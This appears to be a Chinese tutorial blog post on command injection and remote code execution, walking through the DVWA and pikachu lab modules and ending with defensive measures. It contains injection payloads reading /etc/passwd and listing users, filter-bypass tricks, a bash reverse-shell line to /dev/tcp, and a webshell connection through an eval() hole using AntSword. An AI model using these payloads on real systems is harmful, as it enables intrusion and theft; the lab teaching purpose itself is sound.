目录
DVWA 靶场的 Command Injection(命令注入)模块。
pikachu 靶场的 Command Injection(命令注入)模块。
命令执行漏洞(Remote Command Execution, RCE(漏洞编号:CNVD-2021-30101 ))是指攻击者通过注入恶意命令,让目标服务器执行任意系统命令,从而控制服务器或获取敏感信息。
一、RCE 攻击的原理
RCE 漏洞的本质是:
服务器后端程序将用户输入的不可信数据拼接或传递给系统函数(如
system()
、exec()
、popen()
等)并执行。
Web 应用有时需要调⽤⼀些执行系统命令的函数,例如,如果想测试 www.xxx.com 是否可以正常连接,那么Web 应用底层就很可能去调用系统操作命令,如果此处没有过滤好用户输⼊的数据,就很有可能形成系统命令执行漏洞,使系统执行非预期的命令。
二、常见触发函数(以 PHP 为例)
函数 | 说明 |
---|---|
system() | 执行命令并输出结果 |
exec() | 执行命令并返回最后一行 |
shell_exec() | 执行命令并返回所有输出 |
passthru() | 执行命令并直接输出原始数据 |
popen() / | 打开进程的管道 |
backticks (`ls`) | 执行命令并返回结果 |
其他语言也有类似函数,例如:
-
Python :、
os.system()
subprocess.*
-
Java :
Runtime.getRuntime().exec()
三、攻击方式分类
1. 直接命令注入
示例代码(PHP):
<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
利用方式:
http://example.com/vuln.php?cmd=ls
2. 命令拼接
如果用户输入被拼接到命令中:
$ip = $_GET['ip'];
system("ping " . $ip);
攻击者输入:
127.0.0.1; cat /flag
执行命令:
ping 127.0.0.1; cat /flag
四、常用绕过技术(过滤/黑名单绕过)
-
空格绕过:
-
使用
${IFS}
$IFS
\t
\n
-
如:
ping${IFS}127.0.0.1
-
-
字符编码绕过:
-
URL 编码、Unicode 编码等
-
-
命令替代:
-
$(command)
、`command`
-
利用 shell 特性:如 、、、
|
&&
||
;
-
-
双重编码或截断:
-
%2520
解码两次为 (空格)%20
-
-
环境变量与别名替代:
-
使用 之类的路径直接执行
/bin/sh
-
使用环境变量绕过路径限制
-
五、利用目的
-
查看敏感文件(如 、)
/etc/passwd
/flag
-
反弹 Shell (
bash -i >& /dev/tcp/IP/PORT 0>&1
) -
安装木马、远控
-
横向移动或提权
六、防御措施
-
永远不要信任用户输入
-
对参数进行白名单校验
-
避免使用系统命令,使用语言自带功能替代
-
最小权限原则:Web 服务用户权限最小化
-
使用 WAF 检测异常请求
DVWA 靶场的 Command Injection(命令注入)模块。
low级别
1.先从Low级别开始,low级别的代码接收了用户输⼊的ip,服务器通过判断操作系统执行不同 ping 命令。但是这⾥对⽤户输⼊的 ip 并没有进行任何的过滤,所以存在可利⽤的命令执行漏洞。
漏洞点分析
代码关键部分:
$target = $_REQUEST[ 'ip' ];
...
$cmd = shell_exec( 'ping -c 4 ' . $target );
-
用户可控参数 被直接拼接到 shell 命令中,然后传给 函数。
$target
shell_exec()
-
没有任何过滤或验证。
-
攻击者可构造输入,如:,让系统执行多个命令。
127.0.0.1; cat /etc/passwd
利用方式示例
⽤&&来执行多条命令,构造 payload(有效载荷):
127.0.0.1&&net user
-
&&是 shell 运算符,表示前一个命令成功时才执行后一个命令。
-
127.0.0.1 是合法的 IP,会使 ping 正常执行。
-
net user 是 Windows 命令,列出系统所有用户。 如果执行环境是 Windows,会泄露当前系统的用户名信息。 如果是Linux,net user 会报错,但可以用 && cat /etc/passwd 等命令替代。
出现中文乱码的现象,我们先修改一下靶机的语言配置
方法一:
-
按住win+r,在运行框中输入cmd弹出命令行,在命令行中输入“control intl.cpl”
-
我们将它改成英语并重新启动即可(重启后记得打开PHP和MySQL服务)
重新输入发现没有中文乱码
127.0.0.1 & ipconfig
方法二
把 DVWA\dvwa\includes ⽬录下的 dvwaPage.inc.php ⽂件中所有的“charset=utf-8”,全部替换修改为“charset=gb2312”即可
medium级别
看一下源代码,发现&&和;被过滤掉了
不用&&,直接用&就可以!&&和&的区别在于 &&是执行完前面的命令然后执行后面的命令,&是不管前面的命令是否值执行,后面的都执行。
构造 poyload: 127.0.0.1 & ipconfig
high级别
查看一下源代码,发现相⽐于前⾯两个等级的,high 等级的⿊名单更完善了,但是由于只是过滤掉了 “| ” ,如果⽤ | 后不跟空格就可以绕过过滤
127.0.0.1|net user
pikachu 靶场的 Command Injection(命令注入)模块。
exec ping关卡
pikachu 靶场同样提供了测试域名/IP 的 Ping 功能(命令执行漏洞模块),并将 Ping 命令的执行过程显示出来。下面测试域名:www.baidu.com 是否可以正常连接,如图:
先看一下源代码,没有发现被过滤的命令
查看一下ip:
127.0.0.1 & ipconfig
我们可以执行其他命令了,在很多时候打靶场我们都会利用rce来反弹监听。在知道了系统命令可以连接执行后,如果 Web 应用程序没有过滤好输入,就变得相当危险。常用的命令连接符:
Windows 和 Linux 都支持的连接符:
A|B 只执行 B
A||B 如果 A 执行出错,则执行 B,如果A执行成功就不执行B
A&B 先执行 A,不管是否成功,都会执行 B
A&&B 先执行 A,执行成功后执行 B,否则不执行B
A;B 先执行 A,再执行B(只有Linux⽀持的连接符)
A|B
A||B
A&B
A&&B
exec "eval"代码执行漏洞关卡
代码注入攻击与命令注入攻击不同。因为需求设计,后台有时候需要把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。
以pikachu为例
输⼊ phpinfo();(注意要带上分号)
发现直接执行了我们输入的代码。我们看一下源代码,查看代码发现是 eval()函数执行了我们的提交参数。
既然能执行eval(),那我们可以利用蚁剑构造一句话木马连接
$_POST['txt']
用蚁剑添加body表单字段,这里要注意的是编码器和解析器都选择base64,否则连接返回的数据为空
成功利用远程代码漏洞进入对方主机,如果需要提权,可以利用蚁剑连接的前提反弹监听,进一步进行渗透.
感兴趣的可以关注微信 公众号【Cauchy网安】,一起一步步慢慢来,该到达的高度终将会抵达的,加油,如有雷同纯属巧合